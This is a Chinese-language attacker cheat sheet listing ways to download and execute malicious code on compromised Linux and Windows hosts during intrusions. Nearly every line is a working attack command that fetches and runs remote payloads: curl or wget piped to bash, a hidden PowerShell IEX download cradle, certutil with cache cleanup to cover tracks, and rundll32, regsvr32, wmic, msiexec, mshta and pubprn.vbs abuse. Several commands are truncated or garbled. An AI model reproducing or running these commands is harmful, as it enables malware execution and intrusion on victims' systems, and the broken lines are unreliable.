通过命令下载执⾏恶意代码的⼏种姿势
在渗透过程中,攻击者往往需要通过命令下载执⾏恶意代码,实现信息收集、持久化、权限提升、防御绕过、提取凭证、横向移动、数据渗出等操作。connect下载
在⽬标主机执⾏恶意代码,可以分为上传/下载并执⾏恶意代码和⽆⽂件远程恶意代码执⾏。接下来,我们来总结⼀下Linux和Windows中下载和执⾏恶意代码的⼀些姿势。
⼀、Linux 远程恶意代码执⾏
01、curl
以⽤curl的⽅式执⾏http页⾯上的shell脚本,⽆需download,在本地机器上直接执⾏。
⽅式1:curl -fsSL 192.168.99.19:8080/test.sh | bash
⽅式2:bash < <( curl 192.168.99.19:8080/test.sh  )
02、wget
执⾏wget命令远程下载恶意程序。
⽅式1:wget -q -O- 192.168.99.19:8080/test.sh | bash
⽅式2:wget 192.168.99.19: -O /tmp/x.php && php /tmp/x.php
curl+wget合并,实现⽆⽂件远程恶意代码执⾏。
bash -c '(curl -fsSL 192.168.99.19:8080/test.sh||wget -q -O- 192.168.99.19:8080/test.sh)|bash -sh >/dev/null 2>&1&'
03、rcp
rcp命令⽤于复制远程⽂件或⽬录。
rcp :./testfile testfile
04、scp
scp 是 rcp 的加强版,scp 是加密的,rcp 是不加密的。
scp username@servername:/path/filename /tmp/local_destination
05、rsync
使⽤rsync可以进⾏远程同步,拉取⽂件到本地服务器。
rsync -:/  /
06、sftp
使⽤sftp下载远程服务器上的⽂件。
sftp admin@192.168.99.242 <<EOF
get  /
quit
EOF
⼆、Windows 远程恶意代码执⾏
01、Powershell
利⽤powershell远程执⾏ps1脚本。
powershell -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('192.168.28.'))"
02、Bitsadmin
利⽤bitsadmin命令下载⽂件到⽬标机器。
bitsadmin /transfer n 192.168.28.128/ d:\
03、certutil
⽤于备份证书服务,⼀般建议下载完⽂件后对缓存进⾏删除。
#下载⽂件
certutil -urlcache -split -f 192.168.28.128/ test.php
#删除缓存
certutil -urlcache -split -f 192.168.28.128/ delete
04、rundll32
使⽤,可以通过mshtml.dll执⾏JavaScript ,依赖于WScript.shell这个组件
< javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","192.168.28.131:8888/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new 05、regsvr32
远程加载执⾏,解析.src⽂件。
< /u /n /s /i:192.168.28.131:8888/file.sct scrobj.dll
06、wmic
执⾏WMIC以下命令从远程服务器下载并运⾏恶意XSL⽂件:
wmic os get /FORMAT:"192.168.28.128/evil.xsl"
07、msiexec
⽤于安装Windows Installer安装包,可远程执⾏msi⽂件。
msiexec /q /i 192.168.28.128/evil.msi
08、IEExec
<应⽤程序是.NET Framework附带程序,运⾏并使⽤url启动其他程序。
crosoft.NET\Framework64\v2.0.50727& -s offC:\Windows\Microsoft.NET\Framework64\v2.0.50727& 192.168.28.
09、mshta
mshta⽤于执⾏.hta⽂件
mshta 192.168.28.128/run.hta
10、msxsl
<是微软⽤于命令⾏下处理XSL的⼀个程序
msxsl 192.168.28.128/l 192.168.28.128/scripts/exec.xsl
11、pubprn.vbs
在Windows 7以上版本存在⼀个名为pubprn.vbs的微软已签名WSH脚本,可以利⽤来解析.sct脚本:"C:\Windows\System32\Printing_Admin_Scripts\zh-CN\pubprn.vbs" 127.0.0.1 script:gist.githubusercontent.